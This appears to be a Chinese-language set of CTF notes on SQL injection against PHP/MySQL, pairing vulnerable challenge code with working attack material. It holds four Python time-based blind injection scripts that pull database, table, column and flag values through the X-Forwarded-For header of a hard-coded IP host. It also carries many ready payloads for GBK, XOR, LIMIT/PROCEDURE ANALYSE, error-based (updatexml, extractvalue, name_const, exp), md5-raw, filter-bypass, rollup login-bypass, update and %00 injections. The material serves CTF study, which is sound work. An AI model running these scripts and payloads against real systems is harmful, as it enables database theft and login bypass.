CTF中的SQLi筆記
題目程式碼如下,從題目分析可以看到$ip是從xxf引數中獲取的,並再使用explode函式處理後(注意在這裡使用了,號作為分隔符,因而我們插入的sql語句中不能出現,號了),直接代入sql語句,因而是存在sql注入漏洞。因為關閉了報錯,因而只能採用時間盲注的方式。
因為,號不能使用,所以就意味著limit 0,1不能使用,但是可以使用from 0 for 1進行代替;if判斷在此處不能使用了,但是可以使用select case when(滿足條件)then(語句1)else(語句2) end語句進行代替
error_reporting(0); function getIp(){ $ip = ''; if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){ $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; }else{ $ip = $_SERVER['REMOTE_ADDR']; } $ip_arr = explode(',', $ip); return $ip_arr[0]; } $host="localhost"; $user=""; $pass=""; $db=""; $connect = mysql_connect($host, $user, $pass) or die("Unable to connect"); mysql_select_db($db) or die("Unable to select database"); $ip = getIp(); echo 'your ip is :'.$ip; $sql="insert into client_ip (ip) values ('$ip')"; mysql_query($sql);
資料庫名的注入指令碼如下:
import requests url = 'http://120.24.86.145:8002/web15/' allString = '''1234567890~`!@#$%^&*()-_=+[]{};:'"|\,<.>/?qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM''' database = '' flag = 1 for i in range(1,10): for j in allString: header = { "X-Forwarded-For":"1'+(select case when (ascii(substr(database() from %d for 1))=%d) then sleep(3) else 0 end))#"%(i,ord(j)) } r = requests.get(url,headers=header) t = r.elapsed.total_seconds() print('the time of '+j+' is '+str(t)) if t >= 3: database = database + j print('the '+str(i)+' place of database is '+j) break elif t < 3 and j == 'M': flag = 0 break if flag == 0 : break print('database:',database)
注入表名的程式碼如下
import requests url = 'http://120.24.86.145:8002/web15/' allString = '''1234567890~`!@#$%^&*()-_=+[]{};:'"|\,<.>/?qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM''' table_name = '' flag = 1 for i in range(1,20): for j in allString: header = { "X-Forwarded-For":"1'+(select case when (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from %d for 1))=%d) then sleep(3) else 0 end))#"%(i,ord(j)) } r = requests.get(url,headers=header) t = r.elapsed.total_seconds() print('the time of '+j+' is '+str(t)) if t >= 3 and t < 4: table_name = table_name + j print('the '+str(i)+' place of table_name is '+j) break elif t < 3 and j == 'M': flag = 0 break if flag == 0 : break print('table_name:',table_name)
注入得到列名
import requests url = 'http://120.24.86.145:8002/web15/' allString = '''1234567890~`!@#$%^&*()-_=+[]{};:'"|\,<.>/?qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM''' column_name = '' flag = 1 for i in range(1,20): for j in allString: header = { "X-Forwarded-For":"1'+(select case when (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag') from %d for 1))=%d) then sleep(3) else 0 end))#"%(i,ord(j)) } r = requests.get(url,headers=header) t = r.elapsed.total_seconds() print('the time of '+j+' is '+str(t)) if t >= 3 and t < 4: column_name = column_name + j print('the '+str(i)+' place of table_name is '+j) break elif t < 3 and j == 'M': flag = 0 break if flag == 0 : break print('column_name:',column_name)
最終注入得到列中的資料
import requests url = 'http://120.24.86.145:8002/web15/' allString = '''1234567890~`!@#$%^&*()-_=+[]{};:'"|\,<.>/?qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM''' flag = '' f = 1 for i in range(1,30): for j in allString: header = { "X-Forwarded-For":"1'+(select case when (ascii(substr((select flag from flag) from %d for 1))=%d) then sleep(3) else 0 end))#"%(i,ord(j)) } r = requests.get(url,headers=header) t = r.elapsed.total_seconds() print('the time of '+j+' is '+str(t)) if t >= 3 and t < 4: flag = flag + j print('the '+str(i)+' place of table_name is '+j) break elif t < 3 and j == 'M': f = 0 break if f == 0 : break print('flag:',flag)
0x02 異或注入xor/^
xor與^的區別:前者是做邏輯運算 1 xor 0 會輸出1 其他情況輸出其他所有資料;後者是做位異或運算 如1^2=3 1^2=3
可以採用這種方式來判斷目標站點過濾了什麼關鍵字
http://120.24.86.145:9004/1ndex.php?id=1'^(length('union')=5)%23 當union被過濾時1^0 輸出id=1 當union沒被過濾時 1 ^ 1 輸出 id=0 並回顯 error
0x03 limit注入
在SQL/">MySQL5.x版本中,後端採用如下形式進行SQL查詢,此時注入點在order by語句後面無法使用union進行聯合查詢,因而需要另闢蹊徑。
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 【注入點】
在此處我們可以使用procedure關鍵字呼叫ANALYSE儲存過程來完成注入。利用姿勢有以下幾種:
//1.報錯注入 mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1' mysql> SELECT host FROM mysql.user ORDER BY 1 LIMIT 0 PROCEDURE ANALYSE (0, (SELECT 3 ORDER BY updatexml(1, concat(0x3A, version()), 1))); ERROR 1105 (HY000): XPATH syntax error: ':5.5' //2.時間盲注,注意此時不能使用sleep SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1) //注:以上出現version()的地方都可以用想用的SQL語句替換
0x04 利用insert,update和delete注入獲取資料
閉合形式:
' or (payload) or ' ' and (payload) and ' ' or (payload) and ' ' or (payload) and '=' '* (payload) *' ' or (payload) and ' " – (payload) – "
利用方式:
- 利用updatexml()獲取資料
- 利用extractvalue()獲取資料
-
利用name_const()獲取資料
注意:
如果顯示ERROR 1210 (HY000): Incorrect arguments to NAME_CONST,那就洗洗睡吧。。
如果顯示ERROR 1060 (42S21): Duplicate column name ‘2’,就可以進一步獲取更多資料。
- 利用子查詢注入
參考:ofollow,noindex">利用insert,update和delete注入獲取資料
0x05當update注入遇到關閉顯錯
注:此處提到的或邏輯運算對insert注入也是有效的
參考:
0x06 Mysql字元編碼利用技巧
latin1編碼不支援漢字,因而可以採用編碼繞過
參考:
《Mysql字元編碼利用技巧》0x07 GBK Injection
單引號會被/注掉,可以用%df吃掉/封閉id
查詢欄位數
?id=-1%df' order by 2%23
果然兩個,順帶檢視其使用者,庫名和版本
?id=-1%df' union select 1,concat_ws(char(32,58,32),user(),database(),version())%23
注:
# concat_ws()第一個引數是分隔字元 # char(32,58,32)表示的是 ":" 號 MariaDB [(none)]> select concat_ws(char(32,58,32),'11','22','33'); +------------------------------------------+ | concat_ws(char(32,58,32),'11','22','33') | +------------------------------------------+ | 11 : 22 : 33| +------------------------------------------+ 1 row in set (0.00 sec)
庫名sae-chinalover,再爆表
單引號會被/注掉,所以寫sae-chinalover的16進位制
?id=-1%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 0x7361652d6368696e616c6f766572)%23
注:
group_concat()是將某個欄位的所有值列印在一起,方便一行輸出。
mysql> select group_concat(name) from aa; +-------------------+ |group_concat(name) | +-------------------+ |10,20,20|
有四個:ctf,ctf2,ctf3,ctf4,news,爆列名
?id=-1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 0x7361652d6368696e616c6f766572 and table_name=0x63746634)%23
ctf4裡有id,flag,flag應該就在這裡
?id=-1%df' union select 1,(select group_concat(id,flag) from ctf4)%23
可以看到構造爆錯後常規注入即可。
0x08 MD5加密後的SQLi
目標語句:
"select * from admin where password='".md5($pass,true)."'"
md5(string,raw) string 必需。規定要計算的字串。 raw 可選。規定十六進位制或二進位制輸出格式: • TRUE – 原始 16 字元二進位制格式 <關鍵點> • FALSE – 預設。32 十六進位制數
注入思路:
字串經md5計算後的值經過hex轉成字串後為 ”or’xxx’這樣的字串
構造payload目標:
select * from admin where password="or'xxx'
可用payload
content: 129581926211651571912466741651878684928 md5加密為: 06da5430449f8f6f23dfc1276f722738 作hex轉字串: ?T0D??o#??’or’8.N=? content: ffifdyop md5加密為: 276f722736c95d99e921722cf9ed621c 作hex轉字串: ‘or’6蒥欓!r,b
注:這個問題是在PHP中存在的
0x09 空格被過濾
空格過濾使用/*xxx*/
進行繞過,
有時候關鍵詞被過濾了可以使用雙寫繞過
例如
//為三個欄位,接著查庫 ?id=1/*0*/order/*0*/by/*0*/3%23 ?id=-1/*0*/uniunionon/*0*/seselectlect/*0*/1,2,concat_ws(char(32,58,32),user(),database(),version())%23 //查所有庫 ?id=-1/*0*/uniunionon/*0*/seselectlect/*0*/1,2,group_concat(schema_name)/*0*/frfromom/*0*/information_schema.schemata%23 //查test的表 ?id=-1/*0*/uniunionon/*0*/seselectlect/*0*/1,2,group_concat(table_name)/*0*/frfromom/*0*/information_schema.tables/*0*/where/*0*/table_schema=0x74657374%23 //只有一個content,查列 ?id=-1/*0*/uniunionon/*0*/seselectlect/*0*/1,2,group_concat(column_name)/*0*/frfromom/*0*/information_schema.columns/*0*/where/*0*/table_schema=0x74657374/*0*/and/*0*/table_name=0x636f6e74656e74%23 //有id,context,title。最後直接查context ?id=-1/*0*/uniunionon/*0*/seselectlect/*0*/1,2,context/*0*/frfromom/*0*/content%23 //得到flag
0x10 ``符號問題
<?php require("config.php"); $table = $_GET['table']?$_GET['table']:"test"; $table = Filter($table); mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker(); $sql = "select 'flag{xxx}' from secret_{$table}"; $ret = sql_query($sql); echo $ret[0]; ?>
反引號是為了區分MySql的保留欄位與普通字元而引入的符號
引號一般用在欄位的值,如果欄位值是字元或字串,則要加引號
MariaDB [test]> select `flag` from flags; +----------------------------------------+ | flag| +----------------------------------------+ | flag{37316894c36cb32d2ca3f7d3add88024} | +----------------------------------------+ 1 row in set (0.00 sec) MariaDB [test]> select 'flag' from flags; +------+ | flag | +------+ | flag | +------+ 1 row in set (0.00 sec)
payload:構造如下形式進行注入,* 位置放入關鍵詞
desc `***` `***`; MariaDB [test]> desc `flags` `union select table_name from information_schema.tables`; Empty set (0.00 sec)
http://test.com/?table=test``union select table_name from information_schema.tables limit 1,1 http://test.com/?table=test``union select column_name from information_schema.columns limit 1,1 http://test.com/?table=test``union select flagUwillNeverKnow from secret_flag limit 1,1
0x11 rollup&&offset
limit 1 offset 2
從第二條記錄開始查詢,讀取1條記錄(intrude fuzz 1和2這兩個位置的引數)
rollup
在group by 分組之後,再合計總數,可構造使得結果為null
<?php error_reporting(0); if (!isset($_POST['uname']) || !isset($_POST['pwd'])) { echo '<form action="" method="post">'."<br/>"; echo '<input name="uname" type="text"/>'."<br/>"; echo '<input name="pwd" type="text"/>'."<br/>"; echo '<input type="submit" />'."<br/>"; echo '</form>'."<br/>"; echo '<!--source: source.txt-->'."<br/>"; die; } function AttackFilter($StrKey,$StrValue,$ArrReq){ if (is_array($StrValue)){ $StrValue=implode($StrValue); } if (preg_match("/".$ArrReq."/is",$StrValue)==1){ print "姘村彲杞借垷錛屼害鍙禌鑹囷紒"; exit(); } } $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)"; foreach($_POST as $key=>$value){ AttackFilter($key,$value,$filter); } $con = mysql_connect("XXXXXX","XXXXXX","XXXXXX"); if (!$con){ die('Could not connect: ' . mysql_error()); } $db="XXXXXX"; mysql_select_db($db, $con); #$sql="SELECT * FROM interest WHERE uname = '' or 1=1 group by pwd with rollup limit 1 offset 2 #'"; $sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'"; $query = mysql_query($sql); if (mysql_num_rows($query) == 1) { $key = mysql_fetch_array($query); if($key['pwd'] == $_POST['pwd']) { print "CTF{XXXXXX}"; }else{ print "浜﹀彲璧涜墖錛�"; } }else{ print "涓€棰楄禌鑹囷紒"; } mysql_close($con); ?>
獲取flag需要滿足mysql_num_rows($query) == 1
和$key['pwd'] == $_POST['pwd']
,後者使用group by pwd with rollup
在查詢結果中加上一行,且pwd欄位的值為NULL,以此繞過$key['pwd'] == $_POST['pwd']
過濾,則使用limit # offset #
來滿足mysql_num_rows($query) == 1
,fuzz出limit 1 offset 2
payload
' or 1=1 group by pwd with rollup limit 1 offset 2 #
test
MariaDB [test]> select text from article group by NULL with rollup limit 1 offset 2 ; Empty set (0.00 sec) MariaDB [test]> select * from article; +---------+-----------------------------------------------------+ | id| text| +---------+-----------------------------------------------------+ | 1| guess what?| | 3| you can test it with sqli| | 2| dudulu| | 4| The choice of the stone gate of all dead destinies! | | 5| ??? ???| | 8848| you want by a phone?| | 9588| you will be lucky| | 1245123 | flag{37316894c36cb32d2ca3f7d3add88024}| +---------+-----------------------------------------------------+ 8 rows in set (0.00 sec)
0x12 注出可控資料繞過登入
<html> <head> welcome to simplexue </head> <body> <?php if($_POST[user] && $_POST[pass]) { $conn = mysql_connect("********", "*****", "********"); mysql_select_db("phpformysql") or die("Could not select database"); if ($conn->connect_error) { die("Connection failed: " . mysql_error($conn)); } $user = $_POST[user]; $pass = md5($_POST[pass]); $sql = "select pw from php where user='$user'"; $query = mysql_query($sql); if (!$query) { printf("Error: %s\n", mysql_error($conn)); exit(); } $row = mysql_fetch_array($query, MYSQL_ASSOC); //echo $row["pw"]; if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) { echo "<p>Logged in! Key:************** </p>"; } else { echo("<p>Log in failure!</p>"); } } ?> <form method=post action=index.php> <input type=text name=user value="Username"> <input type=password name=pass value="Password"> <input type=submit> </form> </body> <a href="index.txt"> </html>
利用user處的注入返回想要的pw
例如qwe,76d80224611fc919a5d54f0ff9fba446
username值' union select '76d80224611fc919a5d54f0ff9fba446'#
password值qwe
提交獲得flag
0x13 htmlentities實體化單引號情況
#GOAL: get password from admin; error_reporting(0); require 'db.inc.php'; function clean($str){ if(get_magic_quotes_gpc()){ $str=stripslashes($str); } return htmlentities($str, ENT_QUOTES); } $username = @clean((string)$_GET['username']); $password = @clean((string)$_GET['password']); $query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';'; $result=mysql_query($query); if(!$result || mysql_num_rows($result) < 1){ die('Invalid password!'); } $row = mysql_fetch_assoc($result); echo "Hello ".$row['name']."</br>"; echo "Your password is:".$row['pass']."</br>";
htmlentities將單引號實體化了,所以可用\來將源單引號轉義
構造
SELECT * FROM users WHERE name='\' AND pass=' or 1=1 limit 2,3#';
payload:
?username=\&password=%20or%201=1%20limit%202,3%23
0x14 報錯注入 && /!00000select / && ‘->\x27
示例題目屬於二次注入,在刪除功能處進行注入
<?php include 'config.php'; foreach(array('_GET','_POST','_COOKIE') as $key){ foreach($$key as $k => $v){ if(is_array($v)){ errorBox("hello,sangebaimao!"); }else{ $k[0] !='_'?$$k = addslashes($v):$$k = ""; } } } function filter($str){ $rstr = ""; for($i=0;$i<strlen($str);$i++){ if(ord($str[$i])>31 && ord($str[$i])<127){ $rstr = $rstr.$str[$i]; } } $rstr = str_replace('\'','',$rstr); return $rstr; } if(!empty($message)){ if(preg_match("/\b(select|insert|update|delete)\b/i",$message)){ die("hello,sangebaimao!"); } if(filter($message) !== $message){ die("hello,sangebaimao!"); } $sql="insert guestbook(`message`) value('$message');"; mysql_query($sql); $sql = "select * from guestbook order by id limit 0,5;"; $result = mysql_query($sql); if($result){ while($row = mysql_fetch_array($result)){ $id = $row['id']; $message = $row['message']; echo "|$id|=>|$message|<br/>"; } } $message = stripcslashes($message); $sql = "delete from guestbook where id=$id or message ='$message';"; if(!mysql_query($sql)){ //print(mysql_error());依據這句話看出可以使用報錯注入 print(mysql_error()); $sql = "delete from guestbook where id=$id"; mysql_query($sql); }; } ?>
sqli關鍵:需要繞過單引號和preg_match
因為stripcslashes函式,可以使用1\x27
創造單引號
/*!00000select*/
繞過preg_match
在mysql,00000這5位代表版本號,表示只有在大於該版本的mysql中不作為註釋
MariaDB [test]>/*!00000select 'zeroyu'*/; +--------+ | zeroyu | +--------+ | zeroyu | +--------+ 1 row in set (0.00 sec)
注:concat(0x27,(/*!00000select version()*/))
這個對於UpdateXML和ExtractValue而言會最先執行,但是它不是一個合格xml表示式,因而或造成報錯。但要注意這兩個報錯的最大長度是32
1.利用updatexml報錯
UpdateXML(xml_target, xpath_expr, new_xml)
updatexml函式有三個引數,作用是xml替換,把xml_target中被xpath_expr匹配到的部分使用new_xml替換
?message=1\x27 and updatexml(0,concat(0x27,(/*!00000select version()*/)),0)%23
MariaDB [(none)]> select updatexml(1,concat(0x7e,(select @@version),0x7e),1); ERROR 1105 (HY000): XPATH syntax error: '~10.1.36-MariaDB~'
2.利用ExtractValue()報錯
ExtractValue(xml_frag, xpath_expr) 得到xml_frag中被xpath_expr匹配到的值
?message=1\x27 and ExtractValue(0,concat(0x27,(/*!00000select version()*/)))%23;
3.name_const()
name_const(name,value)
返回給定值。 當用來產生一個結果集合列時, name_const()促使該列使用給定名稱。
本題利用的是表的欄位名(列名)不允許重複,列名重複會報錯,報錯長度沒有限制
payload
?message=aaa\x27%20and%20(/*!00000SELECT*/ * FROM(/*!00000SELECT*/(name_const(version(),1)),name_const(version(),1))a)%23
MariaDB [test]> select name_const('l','f'); +------+ | l| +------+ | f| +------+ 1 row in set (0.00 sec)
//此處的a是列別名,別名使用時是可以省略as的 MariaDB [test]> /*!00000SELECT*/(name_const(version(),1)),name_const(1,version())a; +-----------------+-----------------+ | 10.1.30-MariaDB | a| +-----------------+-----------------+ |1 | 10.1.30-MariaDB | +-----------------+-----------------+ 1 row in set (0.00 sec)
4.exp
前提: mysql=<5.5.53時才可以使用,不然不會有返回結果的
比如我在5.6.x下進行測試就沒有返回結果
MariaDB [(none)]> select exp(~(select*from(select user())x)); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select #)))'
如果一個查詢成功返回,則其返回值為0,進行邏輯非運算後可得1,這個值是可以進行數學運算的。
通過子查詢與按位求反,造成一個DOUBLE overflow error,並藉由此注出資料。
?message=aaa\x27 and (/*!00000select exp(~(/*!00000select*/ * from (/*!00000select*/ version())a)))%23
參考:https://www.cnblogs.com/lcamry/articles/5509124.html
5.主鍵重複
concat+rand()+group_by()導致主鍵重複
。實際上只要是count,rand(),group by三個連用就會造成這種報錯,與位置無關:
MariaDB [test]> select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x; ERROR 1062 (23000): Duplicate entry '10.1.36-MariaDB1' for key 'group_key'
floor(rand(0)2)則會固定得到011011…的序列,在查詢時floor(rand(0) 2)會被計算5次,查詢原始資料表3次,所以表中需要至少3條資料才能報錯。
6.幾何函式
geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()
這些函式對引數要求是形如(1 2,3 3,2 2 1)這樣幾何資料,如果不滿足要求,則會報錯。經測試,在版本號為5.5.47上可以用來注入,而在5.7.17上則不行。
7.join報錯爆欄位
注:該方法在知道表名的情況下使用
select * from (select * from 表名 a join 表名 b) c) 在得到一個欄位後,使用using得到下一個欄位 select * from (select * from 表名 a join 表名 b using (已知的欄位,已知的欄位)) c
0x15 MySQL快速盲注小技巧
將字串經過hex編碼之後,再轉成10進位制數字,通過盲注獲取具體的數字,然後再將它還原回去。
注意當數字過長是可以採用擷取字串的方式,八位八位的獲取資料結果,公式:
select conv(hex(substr(user(),1 + (n-1) * 8, 8 * n)), 16, 10);
參考:http://www.zhutougg.com/2018/02/23/mysqlkuai-su-mang-zhu-xiao-ji-qiao/
0x16 update注入
<?php $link = mysqli_connect('localhost', 'root', 'root'); mysqli_select_db($link, 'code'); $table = addslashes($_GET['table']); $sql = "UPDATE `{$table}` SET `username`='admin' WHERE id=1"; if(!mysqli_query($link, $sql)) { echo(mysqli_error($link)); } mysqli_close($link);
關鍵點:
- update注入,且sql語句沒有寫在一行程式碼裡面 => left join
- addslashes在單引號和雙引號前加”\” => 出現單引號的地方用char函式代替
- 閉合`
- 除了table表以外不知道資料庫的其他表了,或者根本就只有一個表,所以我就要用mysql的虛表dual
payload
?table=test` t left join (select char(97) as user from dual where (extractvalue(1,concat(0x7e,(select version()),0x7e)))) tt on tt.user=`t.username
參考:https://paper.seebug.org/216/
0x17 %00截斷
<?php $db= mysqli_connect('localhost','web_brave','','web_brave'); $id= @$_GET['id']; $key = $db->real_escape_string(@$_GET['key']); if(preg_match('/\s|[\(\)\'"\/\\=&\|1-9]|#|\/\*|into|file|case|group|order|having|limit|and|or|not|null|union|select|from|where|--/i', $id)) die('Attack Detected. Try harder: '. $_SERVER['REMOTE_ADDR']); // attack detected $query = "SELECT `id`,`name`,`key` FROM `users` WHERE `id` = $id AND `key` = '".$key."'"; $q = $db->query($query); if($q->num_rows) { echo '<h3>Users:</h3><ul>'; while($row = $q->fetch_array()) { echo '<li>'.$row['name'].'</li>'; } echo '</ul>'; } else { die('<h3>Nop.</h3>'); }
過濾了好多但是”`”沒有過濾,使用%00截斷進行截斷
payload
id=`id`;%00
0x18 繞正則
<?php if(isset($_REQUEST['id'])){ if(preg_match("/'(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['id'])){ die("Attack detected!!!"); } } $sql = "select * from xxx where id = '{$_GET['id']}'"; echo $sql; $result = sql_query($_GET['id']); ?>
這個題目繞正則沒什麼意思,主要是想再提一下$_REQUEST
變數覆蓋問題
資料載入的順序:
Environment->Get->Post->Cookie->Server
payload
GET傳參 ?id=1' union select * from flag %23 同時POST傳參 id=1